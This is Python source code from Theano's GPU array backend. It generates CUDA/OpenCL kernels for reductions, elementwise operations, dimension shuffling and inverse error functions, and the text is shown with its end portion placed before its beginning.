reducebuf = self._k_reduce_buf("Z[0]", node, nodename, sub={})
decl, kname, params, k_var = self._k_decl(node, nodename)
init = self._k_init(node, nodename)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1 + i2 * sA2])",
{},
True,
)
reduce_init = self._assign_init(load_in + "(A[0])", assign_dtype)
sio = StringIO()
print(
"""#include "cluda.h"
%(decl)s
{
%(init)s
myresult = %(reduce_init)s;
for (int i0 = threadIdx.z; i0 < d0; i0 += blockDim.z)
{
for (int i1 = threadIdx.y; i1 < d1; i1 += blockDim.y)
{
for (int i2 = threadIdx.x; i2 < d2; i2 += blockDim.x)
{
%(reduce_fct)s;
}
}
}
%(reducebuf)s
}
"""
% locals(),
file=sio,
)
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (0, 0, 1):
# this kernel uses one block for each row,
# threads per block for each element per row.
reducebuf = self._k_reduce_buf(
"Z[i0 * sZ0 + i1 * sZ1]", node, nodename, sub={}
)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1 + i2 * sA2])",
{},
True,
)
reduce_init = self._assign_init(
load_in + "(A[i0 * sA0 + i1 * sA1])", assign_dtype
)
kname = "kernel_reduce_001"
k_var = "kernel_reduce_001_" + nodename
sio = StringIO()
print(
"""#include "cluda.h"
KERNEL void %(kname)s(
const ga_size d0, const ga_size d1, const ga_size d2,
const %(in_type)s *A, const ga_size offset_A,
const ga_ssize sA0, const ga_ssize sA1, const ga_ssize sA2,
%(out_type)s * Z, const ga_size offset_Z,
const ga_ssize sZ0, const ga_ssize sZ1)
{
const int threadCount = blockDim.x;
const int threadNum = threadIdx.x;
extern __shared__ %(acc_type)s buf[];
A = (const %(in_type)s *)(((char *)A)+offset_A);
Z = (%(out_type)s *)(((char *)Z)+offset_Z);
for (int i0 = blockIdx.x; i0 < d0; i0 += gridDim.x)
{
for (int i1 = blockIdx.y; i1 < d1; i1 += gridDim.y)
{
%(acc_type)s myresult = %(reduce_init)s;
for (int i2 = threadIdx.x; i2 < d2; i2 += blockDim.x)
{
%(reduce_fct)s;
}
%(reducebuf)s
}
}
}
"""
% locals(),
file=sio,
)
params = [
"uintp",
"uintp",
"uintp",
gpuarray.GpuArray,
"uintp",
"intp",
"intp",
"intp",
gpuarray.GpuArray,
"uintp",
"intp",
"intp",
]
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (0, 0, 1, 1):
# this kernel uses one block for each row,
# threads per block for each element per row.
reducebuf = self._k_reduce_buf(
"Z[i0 * sZ0 + i1 * sZ1]", node, nodename, sub={}
)
decl, kname, params, k_var = self._k_decl(node, nodename)
init = self._k_init(node, nodename)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1 + i2 * sA2 + i3 * sA3])",
{},
True,
)
reduce_init = self._assign_init(
load_in + "(A[i0 * sA0 + i1 * sA1])", assign_dtype
)
sio = StringIO()
print(
"""#include "cluda.h"
%(decl)s
{
%(init)s
for (int i0 = blockIdx.x; i0 < d0; i0 += gridDim.x)
{
for (int i1 = blockIdx.y; i1 < d1; i1 += gridDim.y)
{
%(acc_type)s myresult = %(reduce_init)s;
for (int i2 = threadIdx.y; i2 < d2; i2 += blockDim.y)
{
for (int i3 = threadIdx.x; i3 < d3; i3 += blockDim.x)
{
%(reduce_fct)s;
}
}
%(reducebuf)s
}
}
}
"""
% locals(),
file=sio,
)
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (0, 1, 0, 1):
# this kernel uses one block for each row,
# threads per block for each element per row.
reducebuf = self._k_reduce_buf(
"Z[i0 * sZ0 + i2 * sZ1]", node, nodename, sub={}
)
decl, kname, params, k_var = self._k_decl(node, nodename)
init = self._k_init(node, nodename)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1 + i2 * sA2 + i3 * sA3])",
{},
True,
)
reduce_init = self._assign_init(
load_in + "(A[i0 * sA0 + i2 * sA2])", assign_dtype
)
sio = StringIO()
print(
"""#include "cluda.h"
%(decl)s
{
%(init)s
for (int i0 = blockIdx.x; i0 < d0; i0 += gridDim.x)
{
for (int i2 = blockIdx.y; i2 < d2; i2 += gridDim.y)
{
%(acc_type)s myresult = %(reduce_init)s;
for (int i1 = threadIdx.y; i1 < d1; i1 += blockDim.y)
{
for (int i3 = threadIdx.x; i3 < d3; i3 += blockDim.x)
{
%(reduce_fct)s;
}
}
%(reducebuf)s
}
}
}
"""
% locals(),
file=sio,
)
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (1, 1, 1, 1):
reducebuf = self._k_reduce_buf("Z[0]", node, nodename, sub={})
decl, kname, params, k_var = self._k_decl(node, nodename)
init = self._k_init(node, nodename)
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + i1 * sA1 + i2 * sA2 + i3 * sA3])",
{},
True,
)
reduce_init = self._assign_init(load_in + "(A[0])", assign_dtype)
sio = StringIO()
print(
"""#include "cluda.h"
%(decl)s
{
%(init)s
myresult = %(reduce_init)s;
for (int i0 = 0; i0 < d0; i0++)
for (int i1 = threadIdx.z; i1 < d1; i1 += blockDim.z)
{
for (int i2 = threadIdx.y; i2 < d2; i2 += blockDim.y)
{
for (int i3 = threadIdx.x; i3 < d3; i3 += blockDim.x)
{
%(reduce_fct)s;
}
}
}
%(reducebuf)s
}
"""
% locals(),
file=sio,
)
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
if self.reduce_mask == (1, 0, 1, 1) or self.reduce_mask == (1, 0, 1):
reducebuf = self._k_reduce_buf("Z[blockIdx.x*sZ0]", node, nodename, sub={})
reduce_fct = self._assign_reduce(
node,
nodename,
"myresult",
load_in + "(A[i0 * sA0 + blockIdx.x * sA1 + i2 * sA2 + i3 * sA3])",
{},
True,
)
reduce_init = self._assign_init(
load_in + "(A[blockIdx.x * sA1])", assign_dtype
)
kname = "kernel_reduce_1011"
k_var = "kernel_reduce_1011_" + nodename
sio = StringIO()
print(
"""#include "cluda.h"
KERNEL void %(kname)s(
const ga_size d0, const ga_size d1, const ga_size d2, const ga_size d3,
const %(in_type)s *A, const ga_size offset_A,
const ga_ssize sA0, const ga_ssize sA1, const ga_ssize sA2, const ga_ssize sA3,
%(out_type)s * Z, const ga_size offset_Z,
const ga_ssize sZ0)
{
const int threadCount = blockDim.x * blockDim.y * blockDim.z;
const int threadNum = threadIdx.z * blockDim.x * blockDim.y + threadIdx.y * blockDim.x + threadIdx.x;
extern __shared__ %(acc_type)s buf[];
A = (const %(in_type)s *)(((char *)A)+offset_A);
Z = (%(out_type)s *)(((char *)Z)+offset_Z);
%(acc_type)s myresult = %(reduce_init)s;
for (int i0 = threadIdx.z; i0 < d0; i0 += blockDim.z)
{
for (int i2 = threadIdx.y; i2 < d2; i2 += blockDim.y)
{
for (int i3 = threadIdx.x; i3 < d3; i3 += blockDim.x)
{
%(reduce_fct)s;
}
}
}
%(reducebuf)s
}
"""
% locals(),
file=sio,
)
params = [
"uintp",
"uintp",
"uintp",
"uintp",
gpuarray.GpuArray,
"uintp",
"intp",
"intp",
"intp",
"intp",
gpuarray.GpuArray,
"uintp",
"intp",
]
kernels.append(
Kernel(
code=sio.getvalue(),
name=kname,
params=params,
flags=flags,
objvar=k_var,
)
)
return kernels
class GpuErfinv(Erfinv):
"""
Inverse error function for GPU.
"""
def c_headers(self):
return ["math_functions.h", "cublas_v2.h"]
def c_code(self, node, name, inp, out, sub):
(x,) = inp
(z,) = out
if node.inputs[0].type in complex_types:
raise NotImplementedError("type not supported", type)
# NB: CUDA erfinv function (GPU op) returns NaN if x not in [-1;1],
# while `scipy.special.erfinv` (CPU op) returns an infinite (-inf if x < -1, +inf if x > 1).
# For consistency of CPU and GPU ops, we wrap the CUDA erfinv in the following conditions
# to ensure that GPU op returns the same values as CPU op.
return (
"%(z)s = (%(x)s <= -1) ? erfinv(-1.0): ((%(x)s >= 1) ? erfinv(1.0): erfinv(%(x)s));"
% locals()
)
gpu_erfinv = GpuErfinv(upgrade_to_float_no_complex, name="gpu_erfinv")
class GpuErfcinv(Erfcinv):
"""
Inverse complementary error function for GPU.
"""
def c_headers(self):
return ["math_functions.h", "cublas_v2.h"]
def c_code(self, node, name, inp, out, sub):
(x,) = inp
(z,) = out
if node.inputs[0].type in complex_types:
raise NotImplementedError("type not supported", type)
# NB: CUDA erfcinv function (GPU op) returns NaN if x not in [0;2],
# while `scipy.special.erfcinv` (CPU op) returns an infinite (+inf if x < 0, -inf if x > 2).
# For consistency of CPU and GPU ops, we wrap the CUDA erfcinv in the following conditions
# to ensure that GPU op returns the same values as CPU op.
return (
"%(z)s = (%(x)s <= 0) ? erfcinv(0.0): ((%(x)s >= 2) ? erfcinv(2.0): erfcinv(%(x)s));"
% locals()
)
gpu_erfcinv = GpuErfcinv(upgrade_to_float_no_complex, name="gpu_erfcinv")
# Caching GpuCAReduceCuda
def gpu_ca_reduce_cuda(
scalar_op,
axis=None,
reduce_mask=None,
dtype=None,
acc_dtype=None,
pre_scalar_op=None,
):
key = (scalar_op, axis, reduce_mask, dtype, acc_dtype, pre_scalar_op)
if key not in gpu_ca_reduce_cuda.cache:
gpu_ca_reduce_cuda.cache[key] = GpuCAReduceCuda(
scalar_op, axis, reduce_mask, dtype, acc_dtype, pre_scalar_op
)
return gpu_ca_reduce_cuda.cache[key]
gpu_ca_reduce_cuda.cache = {}
class GpuCAReduceCPY(GpuKernelBase, HideC, CAReduceDtype):
"""
CAReduce that reuse the python code from gpuarray.
"""
def __init__(self, scalar_op, axis=None, dtype=None, acc_dtype=None):
if not hasattr(scalar_op, "identity"):
raise ValueError("No identity on scalar op")
CAReduceDtype.__init__(
self, scalar_op, axis=axis, dtype=dtype, acc_dtype=acc_dtype
)
def __str__(self):
ax = ""
if self.axis is not None:
ax = f"{{{", ".join(str(x) for x in self.axis)}}}"
return f"GpuReduce{{{self.scalar_op}}}{ax}"
def make_node(self, input):
ctx_name = infer_context_name(input)
res = CAReduceDtype.make_node(self, input)
input = as_gpuarray_variable(input, ctx_name)
otype = GpuArrayType(
dtype=res.outputs[0].dtype,
broadcastable=res.outputs[0].broadcastable,
context_name=ctx_name,
)
if res.op.axis is not None:
redux = []
for i in range(len(input.type.broadcastable)):
redux.append(i in res.op.axis)
# since redux is just another way to describe what is in axis
# it doesn't need to be compared in __eq__ or __hash__
res.op.redux = redux
return Apply(res.op, [input], [otype()])
def get_params(self, node):
return node.outputs[0].type.context
def prepare_node(self, node, storage_map, compute_map, impl):
# cache the kernel object
self.get_kernel_cache(node)
def get_kernel_cache(self, node):
attr = "@cache_reduction_k"
if self.axis is None:
redux = [True] * node.inputs[0].ndim
else:
redux = self.redux
if not hasattr(node, attr):
acc_dtype = getattr(self, "acc_dtype", None)
if acc_dtype is None:
acc_dtype = node.outputs[0].type.dtype
if any(redux):
setattr(node, attr, self.generate_kernel(node, acc_dtype, redux))
if any(redux):
return getattr(node, attr)
def gpu_kernels(self, node, name):
if not any(getattr(self, "redux", [node.inputs[0].ndim != 0])):
# Some OpenCL compilers do not accept no-arguments empty kernels
src = '#include "cluda.h"\nKERNEL void reduk(GLOBAL_MEM float *a) { a[0] = 0; }'
params = ["float32"]
else:
k = self.get_kernel_cache(node)
_, src, _, _ = k._get_basic_kernel(k.init_local_size, node.inputs[0].ndim)
nd = node.inputs[0].ndim
params = ["uint32", gpuarray.GpuArray, "uint32"]
params.extend("uint32" for _ in range(nd))
params.append(gpuarray.GpuArray)
params.append("uint32")
params.extend("int32" for _ in range(nd))
acc_dtype = getattr(self, "acc_dtype", None)
if acc_dtype is None:
acc_dtype = node.outputs[0].type.dtype
return [
Kernel(
code=src,
name="reduk",
params=params,
flags=Kernel.get_flags(
node.inputs[0].type.dtype, acc_dtype, node.outputs[0].type.dtype
),
objvar="k_reduk_" + name,
)
]
def c_code(self, node, name, inp, out, sub):
if not any(getattr(self, "redux", [node.inputs[0].ndim != 0])):
# We special case the no-reduction case since the gpu
# kernel has trouble handling it.
return """
Py_XDECREF(%(out)s);
%(out)s = pygpu_copy(%(inp)s, GA_ANY_ORDER);
if (!%(out)s) {
%(fail)s
}
""" % dict(
out=out[0], inp=inp[0], fail=sub["fail"]
)
k = self.get_kernel_cache(node)
_, src, _, ls = k._get_basic_kernel(k.init_local_size, node.inputs[0].ndim)
if self.axis is None:
redux = [True] * node.inputs[0].ndim
else:
redux = self.redux
acc_dtype = getattr(self, "acc_dtype", None)
if acc_dtype is None:
acc_dtype = node.outputs[0].type.dtype
input = inp[0]
output = out[0]
nd_out = node.outputs[0].ndim
code = """
size_t gs = 1;
size_t ls;
unsigned int n = 1;
unsigned int proxy_dim[%(nd_in)s];
unsigned int proxy_off;
int proxy_str[%(nd_in)s];
void *args[%(n_args)s];
PyGpuArrayObject *tmp;
int err;
""" % dict(
n_args=4 + (node.inputs[0].ndim * 2), nd_in=node.inputs[0].ndim
)
if nd_out != 0:
code += """
size_t out_dims[%(nd_out)s];
int need_out = %(output)s == NULL || %(output)s->ga.nd != %(nd_out)s;
""" % dict(
nd_out=nd_out, output=output
)
j = 0
for i in range(node.inputs[0].ndim):
if not self.redux[i]:
code += """
out_dims[%(j)s] = %(input)s->ga.dimensions[%(i)s];
if (!need_out)
need_out |= %(output)s->ga.dimensions[%(j)s] != out_dims[%(j)s];
""" % dict(
j=j, i=i, input=input, output=output
)
j += 1
code += """
if (need_out) {
%(output)s = pygpu_empty(%(nd_out)s, out_dims, %(out_type)s, GA_C_ORDER, %(ctx)s, Py_None);
if (!%(output)s) {
%(fail)s
}
}
""" % dict(
output=output,
nd_out=nd_out,
fail=sub["fail"],
ctx=sub["params"],
out_type=dtype_to_typecode(node.outputs[0].type.dtype),
)
else:
code += """
if (%(output)s == NULL || %(output)s->ga.nd != 0) {
Py_XDECREF(%(output)s);
%(output)s = pygpu_empty(0, NULL, %(out_type)s, GA_C_ORDER,
%(ctx)s, Py_None);
if (!%(output)s) {
%(fail)s
}
}
""" % dict(
output=output,
fail=sub["fail"],
ctx=sub["params"],
out_type=dtype_to_typecode(node.outputs[0].type.dtype),
)
if acc_dtype != node.outputs[0].type.dtype:
code += """
tmp = pygpu_empty(%(output)s->ga.nd, %(output)s->ga.dimensions,
%(acc_type)s, GA_C_ORDER, %(ctx)s, Py_None);
if (!tmp) %(fail)s
""" % dict(
output=output,
fail=sub["fail"],
ctx=sub["params"],
acc_type=dtype_to_typecode(acc_dtype),
)
else:
code += f"""
tmp = {output};
Py_INCREF(tmp);
"""
# We need the proxies since we are passing a pointer to the
# data into the call and therefore we need a real copy of the
# data in the proper type.
code += """
args[0] = &n;
args[1] = tmp->ga.data;
args[2] = &tmp->ga.offset;
""" % dict(
output=output
)
p = 3
for i in range(node.inputs[0].ndim):
code += """
proxy_dim[%(i)s] = %(input)s->ga.dimensions[%(i)s];
args[%(p)s] = &proxy_dim[%(i)s];
n *= %(input)s->ga.dimensions[%(i)s];
""" % dict(
i=i, p=p, input=input
)
p += 1
if not redux[i]:
code += "gs *= %(input)s->ga.dimensions[%(i)s];" % dict(
input=input, i=i
)
code += """
args[%(p)s] = %(input)s->ga.data;
proxy_off = %(input)s->ga.offset;
args[%(p)s+1] = &proxy_off;
""" % dict(
p=p, input=input
)
p += 2
for i in range(node.inputs[0].ndim):
code += """
proxy_str[%(i)s] = %(input)s->ga.strides[%(i)s];
args[%(p)s] = &proxy_str[%(i)s];
""" % dict(
p=p, i=i, input=input
)
p += 1
code += """
if (gs == 0) gs = 1;
n /= gs;
ls = %(ls)s;
err = GpuKernel_call(&%(k_var)s, 1, &gs, &ls, 0, args);
if (err != GA_NO_ERROR) {
PyErr_Format(PyExc_RuntimeError,
"gpuarray error: GpuCAReduceCPY: %%s.",
GpuKernel_error(&%(k_var)s, err));
%(fail)s
}
if (%(cast_out)d) {
err = GpuArray_move(&%(output)s->ga, &tmp->ga);
Py_XDECREF(tmp);
if (err != GA_NO_ERROR) {
PyErr_Format(PyExc_RuntimeError,
"gpuarray error: GpuCAReduceCPY [cast]: %%s.",
GpuArray_error(&tmp->ga, err));
%(fail)s
}
} else {
Py_XDECREF(%(output)s);
%(output)s = tmp;
}
""" % dict(
k_var="k_reduk_" + name,
ls=ls,
fail=sub["fail"],
output=output,
input=input,
cast_out=bool(acc_dtype != node.outputs[0].type.dtype),
)
return code
def c_code_cache_version_apply(self, node):
return (4, self.kernel_version(node))
def generate_kernel(self, node, odtype, redux):
if isinstance(self.scalar_op, scalar.basic.Add):
reduce_expr = "a + b"
elif isinstance(self.scalar_op, scalar.basic.Mul):
reduce_expr = "a * b"
else:
raise NotImplementedError()
return ReductionKernel(
node.inputs[0].type.context,
odtype,
self.scalar_op.identity,
reduce_expr,
redux,
arguments=[make_argument(node.inputs[0], "a")],
init_nd=node.inputs[0].ndim,
)
def perform(self, node, inp, out, ctx):
(input,) = inp
(output,) = out
if self.axis is None:
redux = [True] * input.ndim
else:
redux = self.redux
if any(redux):
output[0] = self.get_kernel_cache(node)(input).astype(
copy=False, dtype=node.outputs[0].type.dtype
)
else:
output[0] = pygpu.gpuarray.array(
input, copy=True, dtype=node.outputs[0].type.dtype, context=ctx
)
# To allow reloading old pickled files
GpuCAReduce = GpuCAReduceCPY
| import copy
from io import StringIO
import numpy as np
from theano import scalar
from theano.gof.graph import Apply
from theano.gof.op import Op
from theano.gof.utils import MethodNotDefined
from theano.link.c.interface import HideC
from theano.scalar import Composite, Scalar
from theano.scalar.basic import complex_types, upgrade_to_float_no_complex
from theano.scalar.basic_scipy import Erfcinv, Erfinv
from theano.tensor.elemwise import CAReduceDtype, DimShuffle, Elemwise
try:
import pygpu
from pygpu import gpuarray
from pygpu.gpuarray import dtype_to_typecode
from pygpu.reduction import ReductionKernel
from pygpu.tools import ArrayArg
except ImportError:
pass
from .basic_ops import GpuKernelBase, Kernel, as_gpuarray_variable, infer_context_name
from .fp16_help import load_w, write_w
from .type import GpuArrayType, gpu_context_type
def make_argument(v, name):
return ArrayArg(np.dtype(v.type.dtype), name)
def as_C_string_const(s):
return "\n".join('"%s\\n"' % (l.replace('"', '\\"')) for l in s.split("\n"))
def get_scal(dt):
if dt == "float16":
dt = "float32"
return scalar.get_scalar_type(dt)
def max_inputs_to_GpuElemwise(node_or_outputs):
"""
Compute the maximum number of inputs that fit in a kernel call.
"""
if isinstance(node_or_outputs, Apply):
outputs = node_or_outputs.outputs
else:
outputs = node_or_outputs
n_out = len(outputs)
ndim = outputs[0].type.ndim
ptr_size = 8
# Even with call32, the interface does not change, and shapes,
# strides, and offset are passed as 64-bits (8 bytes)
int_size = 8
# we take the limit from CUDA for now
nb_bytes_total = 4096
# Regardless of the number of arguments, we have:
# - The total number of elements (int)
# - The shape (int) on each dimension
fixed_size = int_size + int_size * ndim
# Each argument (input or output) has:
# - 1 pointer (ptr)
# - 1 offset (int)
# - 1 stride (int) per dimension
# Even if the tensor ends up being contiguous, code for the
# non-contiguous case still needs to be generated.
param_size = ptr_size + int_size + int_size * ndim
# Remaining for inputs
nb_bytes_for_inputs = nb_bytes_total - fixed_size - param_size * n_out
# Maximum number of inputs
max_nb_inputs = nb_bytes_for_inputs // param_size
return max_nb_inputs
class GpuElemwise(HideC, Elemwise):
"""
Elemwise on the GPU.
"""
params_type = gpu_context_type
nin = property(lambda self: self.scalar_op.nin)
nout = property(lambda self: self.scalar_op.nout)
_f16_ok = True
def __str__(self):
if self.name is not None:
return self.name
items = str(sorted(self.inplace_pattern.items()))
return f"GpuElemwise{{{self.scalar_op}}}{items}<gpuarray>"
def max_inputs(self, node_or_outputs):
return max_inputs_to_GpuElemwise(node_or_outputs)
def make_node(self, *inputs):
ctx_name = infer_context_name(*inputs)
inputs = [as_gpuarray_variable(i, ctx_name) for i in inputs]
out_info = Elemwise.get_output_info(self, GpuDimShuffle, *inputs)
inputs = out_info[2]
outputs = [
GpuArrayType(broadcastable=br, context_name=ctx_name, dtype=dtype)()
for dtype, br in zip(out_info[0], out_info[1])
]
if len(outputs) > 1:
raise NotImplementedError()
if len(inputs) > max_inputs_to_GpuElemwise(outputs):
raise NotImplementedError(
"Can not make this GpuElemwise with that much inputs"
)
# Try to generate the kernel to catch SupportCodeErrors
scal_ins = [get_scal(i.dtype) for i in inputs]
fake_node = self.scalar_op.make_node(*[i() for i in scal_ins])
try:
code = fake_node.op.c_support_code_apply(fake_node, "test")
if code:
raise SupportCodeError(code)
except MethodNotDefined:
pass
try:
support_code = fake_node.op.c_support_code()
if "struct" in support_code:
# The macro is fine, the C++ struct is not.
raise SupportCodeError(
"struct aren't supported in GpuElemwise support_code" + support_code
)
except MethodNotDefined:
pass
node = Apply(self, inputs, outputs)
return node
def get_params(self, node):
return node.inputs[0].type.context
def _get_vnames(self, node):
inps = [f"i{n}" for n, _ in enumerate(node.inputs)]
outs = [
f"o{n}" if n not in self.inplace_pattern else inps[self.inplace_pattern[n]]
for n, _ in enumerate(node.outputs)
]
return inps, outs
def _generate_op_string(self, node):
inps, outs = self._get_vnames(node)
scal_v_ins = [get_scal(i.dtype)() for i in node.inputs]
# As float16 isn't a c type and most GPU don't compute on it,
# We convert the computation to float32, and let libgpuarray
# load in float16 and cast to float32 and do the reverse for
# the output.
scalar_op = self.scalar_op
if isinstance(scalar_op, (scalar.Cast, Composite)):
scalar_op = scalar_op.clone_float32()
fake_node = scalar_op.make_node(*scal_v_ins)
scal_v_out = fake_node.outputs
assert len(scal_v_out) == len(node.outputs)
try:
kop = fake_node.op.c_code(
fake_node, "elem_scalar", inps, outs, dict(fail="return;")
)
except MethodNotDefined:
raise AssertionError(
"No c code for this scalar. Can not make a GpuElemwise"
)
# If the following assert fail, then we need to update the
# code handler above.
assert "npy_float16" not in kop
support_code = ""
try:
# We accept only some c_support_code().
# This filter is done in the make_node()
support_code += fake_node.op.c_support_code()
except MethodNotDefined:
pass
for npy, ga in [
("npy_bool", "ga_bool"),
("npy_uint8", "ga_ubyte"),
("npy_uint16", "ga_ushort"),
("npy_uint32", "ga_uint"),
("npy_uint64", "ga_ulong"),
("npy_int8", "ga_byte"),
("npy_int16", "ga_short"),
("npy_int32", "ga_int"),
("npy_int64", "ga_long"),
("npy_float16", "ga_half"),
("npy_float32", "ga_float"),
("npy_float64", "ga_double"),
]:
kop = kop.replace(npy, ga)
return support_code, kop
def c_headers(self):
return ["<numpy_compat.h>", "<gpuarray/types.h>", "<gpuarray/elemwise.h>"]
def c_support_code_struct(self, node, name):
return "\nGpuElemwise *ge;\n"
def c_init_code_struct(self, node, name, sub):
inps, outs = self._get_vnames(node)
nargs = len(inps) + len(outs) - len(self.inplace_pattern)
support_code, kop = self._generate_op_string(node)
res = """
gpuelemwise_arg args[%(nargs)s] = {{0}};
""" % dict(
nargs=nargs
)
for n, (i, name) in enumerate(zip(node.inputs, inps)):
res += """
args[%(n)s].name = %(name)s;
args[%(n)s].typecode = %(typecode)s;
args[%(n)s].flags = GE_READ;
""" % dict(
n=n, name='"{}"'.format(name), typecode=i.type.typecode
)
p = len(inps)
for n, o in enumerate(node.outputs):
if n in self.inplace_pattern:
assert len(node.outputs) == 1
res += "\nargs[%(n)s].flags |= GE_WRITE;\n" % dict(
n=self.inplace_pattern[n]
)
else:
res += """
args[%(n)s].name = %(name)s;
args[%(n)s].typecode = %(typecode)s;
args[%(n)s].flags = GE_WRITE;
""" % dict(
n=p, name='"{}"'.format(outs[n]), typecode=o.type.typecode
)
p += 1
res += """
ge = GpuElemwise_new(%(ctx)s->ctx, %(support)s, %(kop)s, %(nargs)s, args, %(nd)s, GE_CONVERT_F16);
if (ge == NULL) {
PyErr_SetString(PyExc_RuntimeError, "Could not initialize elemwise support");
%(fail)s
}
""" % dict(
nargs=nargs,
ctx=sub["params"],
fail=sub["fail"],
support=as_C_string_const(support_code),
kop=as_C_string_const(kop),
nd=node.inputs[0].ndim,
)
return res
def c_cleanup_code_struct(self, node, name):
return """
GpuElemwise_free(ge);
"""
def c_code(self, node, name, inputs, outputs, sub):
nd = node.outputs[0].ndim
fail = sub["fail"]
initial_dims = ",".join("1" for i in range(nd))
opname = str(self.scalar_op)
ctx = sub["params"]
nargs = len(node.inputs) + len(node.outputs) - len(self.inplace_pattern)
# check that all inputs have valid dimensions
emitted_inames = {}
code = (
"""
// +1 is so that MSVC is happy when nd == 0
size_t dims[%(nd)s+1] = {%(initial_dims)s};
void *rargs[%(nargs)s] = {0};
int err;
"""
% locals()
)
for idx, iname in enumerate(inputs):
if iname in emitted_inames:
assert emitted_inames[iname] is node.inputs[idx]
continue
broadcasts = map(int, node.inputs[idx].broadcastable)
broadcasts = ", ".join(map(str, broadcasts))
nd = node.inputs[idx].ndim
code += (
"""
int broadcasts_%(iname)s[%(nd)s+1] = {%(broadcasts)s};
"""
% locals()
)
emitted_inames[iname] = node.inputs[idx]
# check that all inputs have valid dimensions
emitted_inames = {}
for idx, iname in enumerate(inputs):
code += f"rargs[{idx}] = &{iname}->ga;\n"
if iname in emitted_inames:
continue
code += (
"""
if (%(nd)s != PyGpuArray_NDIM(%(iname)s))
{
PyErr_Format(PyExc_TypeError,
"need %(nd)s dims, not %%u",
PyGpuArray_NDIM(%(iname)s));
%(fail)s;
}
for (int i = 0; i< %(nd)s; ++i)
{
dims[i] = (dims[i] == 1) ? PyGpuArray_DIMS(%(iname)s)[i] : dims[i];
if ((!(broadcasts_%(iname)s[i] &&
PyGpuArray_DIMS(%(iname)s)[i] == 1)) &&
(dims[i] != PyGpuArray_DIMS(%(iname)s)[i]))
{
PyErr_Format(PyExc_ValueError,
"GpuElemwise. Input dimension mis-match. Input"
" %(idx)d (indices start at 0) has shape[%%d] == %%llu"
", but the output's size on that axis is %%llu.",
i,
(unsigned long long)PyGpuArray_DIMS(%(iname)s)[i],
(unsigned long long)dims[i]
);
%(fail)s;
}
}
"""
% locals()
)
emitted_inames[iname] = True
# check that all outputs have valid dimensions
p = len(node.inputs)
for idx, oname in enumerate(outputs):
typecode = dtype_to_typecode(node.outputs[idx].dtype)
if idx not in self.inplace_pattern.keys():
code += (
"""
for (int i = 0; (i< %(nd)s) && (%(oname)s); ++i) {
if (dims[i] != PyGpuArray_DIMS(%(oname)s)[i])
{
Py_DECREF(%(oname)s);
%(oname)s = NULL;
}
}
if (%(oname)s && !GpuArray_CHKFLAGS(&(%(oname)s->ga), GA_C_CONTIGUOUS))
{
Py_XDECREF(%(oname)s);
%(oname)s = NULL;
}
if (NULL == %(oname)s)
{
%(oname)s = pygpu_empty(%(nd)d, dims,
%(typecode)s, GA_C_ORDER,
%(ctx)s, Py_None);
if (!%(oname)s) {
%(fail)s
}
}
rargs[%(p)s] = &%(oname)s->ga;
"""
% locals()
)
p += 1
else:
input_idx = self.inplace_pattern[idx]
iname = inputs[input_idx]
code += (
"""
Py_XDECREF(%(oname)s);
%(oname)s = %(iname)s;
Py_INCREF(%(oname)s);
for (int i = 0; (i< %(nd)s) && (%(oname)s); ++i) {
if (dims[i] != PyGpuArray_DIMS(%(oname)s)[i])
{
PyErr_Format(PyExc_ValueError,
"GpuElemwise. Output dimension mis-match. Output"
" %(idx)d (indices start at 0), working inplace"
" on input %(input_idx)s, has shape[%%i] == %%llu"
", but the output's size on that axis is %%llu.",
i,
(unsigned long long)PyGpuArray_DIMS(%(oname)s)[i],
(unsigned long long)dims[i]
);
Py_DECREF(%(oname)s);
%(oname)s = NULL;
%(fail)s;
}
}
"""
% locals()
)
code += """
if (GpuElemwise_call(ge, rargs, GE_BROADCAST) != GA_NO_ERROR) {
PyErr_SetString(PyExc_RuntimeError, "Error in the elemwise call");
%(fail)s
}
""" % dict(
fail=sub["fail"]
)
return str(code)
# To disable the superclass perform.
perform = Op.perform
# Since we don't have a perform ...
def python_constant_folding(self, node):
return False
def c_code_cache_version(self):
ver = self.scalar_op.c_code_cache_version()
if ver:
return (10, ver)
else:
return ver
class SupportCodeError(Exception):
"""
We do not support certain things (such as the C++ complex struct).
"""
class GpuDimShuffle(DimShuffle):
"""
DimShuffle on the GPU.
"""
_f16_ok = True
c_func_name = "APPLY_SPECIFIC(gpu_dimshuffle)"
def make_node(self, input):
ctx_name = infer_context_name(input)
res = DimShuffle.make_node(self, input)
otype = GpuArrayType(
dtype=res.outputs[0].type.dtype,
broadcastable=res.outputs[0].type.broadcastable,
context_name=ctx_name,
)
input = as_gpuarray_variable(input, ctx_name)
return Apply(self, [input], [otype()])
def __str__(self):
if self.inplace:
s = "InplaceGpuDimShuffle{%s}"
else:
s = "GpuDimShuffle{%s}"
return s % (",".join(str(x) for x in self.new_order))
def perform(self, node, inp, out, params):
(input,) = inp
(storage,) = out
res = input
res = res.transpose(self.shuffle + self.drop)
shape = list(res.shape[: len(self.shuffle)])
for augm in self.augment:
shape.insert(augm, 1)
res = res.reshape(shape)
if not self.inplace:
res = res.copy()
storage[0] = res
class GpuCAReduceCuda(GpuKernelBase, HideC, CAReduceDtype):
"""
GpuCAReduceCuda is a Reduction along some dimensions by a scalar op.
Parameters
----------
reduce_mask
The dimensions along which to reduce. The `reduce_mask` is a tuple of
booleans (actually integers 0 or 1) that specify for each input
dimension, whether to reduce it (1) or not (0).
pre_scalar_op
If present, must be a scalar op with only 1 input. We will execute it
on the input value before reduction.
Examples
--------
When scalar_op is a theano.scalar.basic.Add instance:
- reduce_mask == (1,) sums a vector to a scalar
